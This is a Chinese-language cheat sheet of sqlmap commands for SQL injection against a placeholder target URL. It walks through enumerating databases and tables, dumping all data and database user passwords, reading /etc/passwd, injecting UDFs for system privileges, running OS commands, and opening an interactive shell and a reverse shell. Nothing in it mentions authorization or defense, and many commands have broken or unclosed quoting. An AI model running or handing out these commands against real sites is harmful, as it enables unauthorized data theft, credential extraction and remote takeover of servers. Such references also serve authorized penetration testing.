1. 基础用法:
一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap
./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
sqlmap -u “ –smart –dbms “Mysql” –users #列数据库用户
sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库
sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员
sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令
sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell
sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell
sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度
sqlmap -u “ –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢复已保存进度